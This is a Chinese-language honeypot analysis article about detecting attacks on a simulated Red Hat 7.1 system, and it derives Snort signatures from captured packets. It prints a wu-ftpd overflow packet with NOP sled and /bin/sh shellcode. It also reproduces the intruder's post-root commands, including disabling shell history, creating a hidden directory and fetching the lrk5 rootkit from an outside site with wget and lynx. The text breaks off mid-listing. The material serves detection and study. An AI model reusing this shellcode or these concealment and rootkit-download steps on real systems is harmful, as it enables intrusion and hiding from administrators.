编者的话:不要觉得这篇文章很枯燥,事实上,学习的乐趣正在于此--弄明白了你以前所不明白的.
最近在翻阅PPTP的资料,偶然发现www.couterpane.com的pptp-faq写的非常有趣,其中的大概意思:“微软的PPTP协议很烂,其协议本身的六种漏洞使得攻击行为能透过网络嗅探密码,潜入加密通道,获得可信数据并能对PPTP实施Dos攻击使其瘫痪。PPTP协议本身是非常安全,但是微软所实现的PPTP协议却是一堆垃圾。Bruce Schneier和Mudge两个安全小组建议使用IPSec来代替微软的破烂货。”世界上最大的软件公司的安全产品存在这样幼稚的错误,那么置身于众多的安全产品中,我们是否真能感到安全所带来幸福?
于是我们有了测试的必要。架设自己的蜜罐系统,并在其中实现各种系统和相关产品的虚拟实现,使之模拟真实的网络服务资源来诱捕各种攻击行为,这样的方式变成了我们解安全漏洞、熟悉入侵手法和研究防御策略最好途径。因此,入侵数据分析似乎时髦起来。
建立Hit@me①蜜罐半个月之久,在实验环境中对其进行各种攻击测试(由于诱布入侵行为是个时间过程,为了完成对入侵数据的测试,我邀请了两个助手在实验环境下对蜜罐进行各种攻击实验),我搜集很多有趣的数据资源。为了让分析过程有趣生动,我将以入侵不同操作系统来评析入侵的数字化行为。
Linux入侵数字化分析端口扫描数字化特征
在ACID的输出显示中,存在着大量"IDS441/scan_probe-Synscan-Portscan"的记录,并且其目标IP地址是指向模拟的Redhat7.1系统。从记录的字面含义,隐约能获得其记录大概是对系统发起的syn的TCP端口扫描。为了进行明确的了解其数字特征,捕获其中几个包记录:
5/13-17:54:10.623674 192.168.1.244:117 -> 192.168.1.250:117
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x55A0EF7B Ack: 0x40F9DC84 Win: 0x404
5/13-17:54:10.623674 192.168.1.244:118 -> 192.168.1.250:118
TCP TTL:42 TOS:0x0 ID:39426
**SF**** Seq: 0x6E42083A Ack: 0x4F07A60B Win: 0x404
分析TCP/IP包头,有这样一些有趣的现象:
1、IP header中Fragment Idnetification字段中的数值始终是39426
2、TCP的源端口号始终与目标地址的端口号一致
3、TCP的确认号中SYN和FIN始终置位
4、窗口尺寸始终为0x404
众所周知,在数据包中置位SYN意味着往目标端口发送的SYN分组,如果接收到目标回馈的SYN/ACK,则推断该端口处于监听状态;如果接收到RST/ACK则端口没有开放。而FIN置位的包可以使目标系统对其关闭的端口反馈一个RST分组(具体可参阅RFC0793)。所有迹象表明:系统遭受了隐秘的半开扫描(half-open scanning)。
结论:SYN - FIN 的数字特性发生于端口扫描事件中;并且这种扫描发包 ID号为39426,而另一个显著特征则是其窗口尺寸大小为0x404。于是当我检阅snort的入侵规则库时,其特征代码如下:
alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS441/scan_probe-Synscan-Portscan";id: 39426; flags: SF; classtype: info-attempt; reference: arachnids,441
(注:通过对包结构分析,我们可以轻松定义自己的入侵检测特征添入snort的规则库中。)
FTP远程溢出数字特征
继续观测ACID提供的便利输出,我发现在对RH7.1的21端口记录的入侵检测是这样记录的:“IDS287/ftp_ftp-wuftp260-venglin-linux”。这让我想起在RH7.1中使用的wuftp的漏洞是由于密码或者用户名过长可以产生远程溢出,并且我绝对相信Securityfocus给出了这个漏洞的利用代码不止一个!
而对于这样的溢出攻击,我们需要捕获什么样的数据才能获得入侵后的行为?很多平常的思维模式是:截获入侵者所输入的超长密码,当密码长度超过特定限制便触发入侵检测记录其行为。但是,这里存在一个问题,exploit的程序不只一个,溢出的密码串也形形色色,如何为其规定一个统一的数字特征呢?于是搜集溢出后服务器回馈的信息代码成了我非常感兴趣的目标,而且这绝对是个妙极的主意!为证实我的想法并剖析其漏洞利用原理,数据截包如下:
05/14-01:25:38.420608 192.168.1.18:1968 -> 192.168.1.250:21
tcp TTL:64 TOS:0x10 ID:31579 DF
*****PA* Seq: 0x6BF2C954 Ack: 0xE69A711B Win: 0x7FB8
TCP Options => NOP NOP TS: 58495044 3110955
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 31 C0 31 DB 31 ...........1.1.1
C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0 3F CD ..F..1.1.C..A.?.
80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04 66 B9 ..k^1.1..^..F.f.
FF FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 ....’..1..^..=..
31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31 C0 1.1..^..C.1...1.
8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46 09 .^.......u.1..F.
8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46 04 .^..=.....0...F.
31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E 08 1..F..v..F....N.
8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80 E8 .V.....1.1......
90 FF FF FF FF FF FF 30 62 69 6E 30 73 68 31 2E .......0bin0sh1.
2E 31 31 0D 0A .11..
从截获的FTP登录数据包,我们发现在密码验证的时候(即在PASS指令之后),输入超长的密码口令(发送适当的shellcode能成功溢出wu-ftpd,例如象wu-lnx.c类型的程序),如果成功溢出,服务器回馈31c031db 31c9b046 cd80 31c031db的16进制信息(即上表中的1.1.1..F..1.1.的数字特征),随后获得远程系统root的/bin/sh。
由于服务器溢出信息回馈无数据偏移,即Dataoffset为零,由此我们得到了snort的又一入侵特征规则:
alert TCP $EXTERNAL any -> $INTERNAL 21 (msg: "IDS287/ftp_ftp-wuftp260-venglin-linux"; flags: A+; content: "|31c031db 31c9b046 cd80 31c031db|"; classtype: system-attempt; reference: arachnids,287
全面入侵数字解析
入侵者通过端口扫描、漏洞利用等方式获得了系统的控制权限,接下来他该做什么?许多电影情节中,非法闯入他人住宅,在不起眼的角落藏匿物件然后嫁祸于人的做法很司空见惯。于是把这种思维运用于Internet成了理所应当的现实!
通过数据包的监测追踪,我发现入侵者运行许多非常有趣的命令,为了便于说明其手法,我从追捕的数据包中整理了其精致的个性行为,并在必要命令旁加入注释:
#unset HISTFILE;id;uname -a;
uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel)
Linux res 2.4.7-4 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
/* 入侵者取消HISTFILE环境变量,系统无法记录入侵者所使用的命令;
* 查看ID属性,确认成功溢出获得root权限;
*/ 查看所控制的系统环境
#mkdir /var/tmp/…
#cd /var/tmp/…
#wget http://packetstormsecurity.org/U ... its/lrk5.src.tar.gz /* 在/var/tmp建立一个隐含的“…”目录
* 试图利用wget从packetstormsecurity.org下载一个rootkit后门
*/ 很佩服入侵者的记忆,能记住后门的准确URL地址并且大小写单词也非常准确,赞!
#ls –al /usr/bin/wget
ls: /usr/bin/wget: No such file or directory
#find / -name wget –print
/* 遗憾的是系统中没有安装wget,然而这使入侵过程变的更为有趣!
*/ 这期间,入侵行为大约停滞了5、6分钟(估计他在考虑如何下载程序)。
#lynx –source packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz \
>>lrk5.src.tar.gz
#tar lrk5.src.tar.gz
lrk5/bindshell.c
lrk5/chfn/chfn.c
lrk5/chfn/setpwnam.c
lrk5/chsh/chsh.c
lrk5/chsh/setpwnam.c
lrk5/fileutils-3.13/intl/bindtextdom.c
lrk5/fileutils-3.13/intl/dcgettext.c
lrk5/fileutils-3.13/intl/dgettext.c
lrk5/fileutils-3.13/intl/gettext.c
lrk5/fileutils-3.13/lib/strtoul.c
lrk5/fileutils-3.13/lib/Makefile
lrk5/fileutils-3.13/lib/group_member.c
lrk5/inetd/inetd.c
lrk5/inetd/daemon.c
lrk5/login/login.c
lrk5/login/checktty.c
lrk5/passwd/passwd.c
lrk5/passwd/islocal.c
lrk5/procps-1.01/&nbs
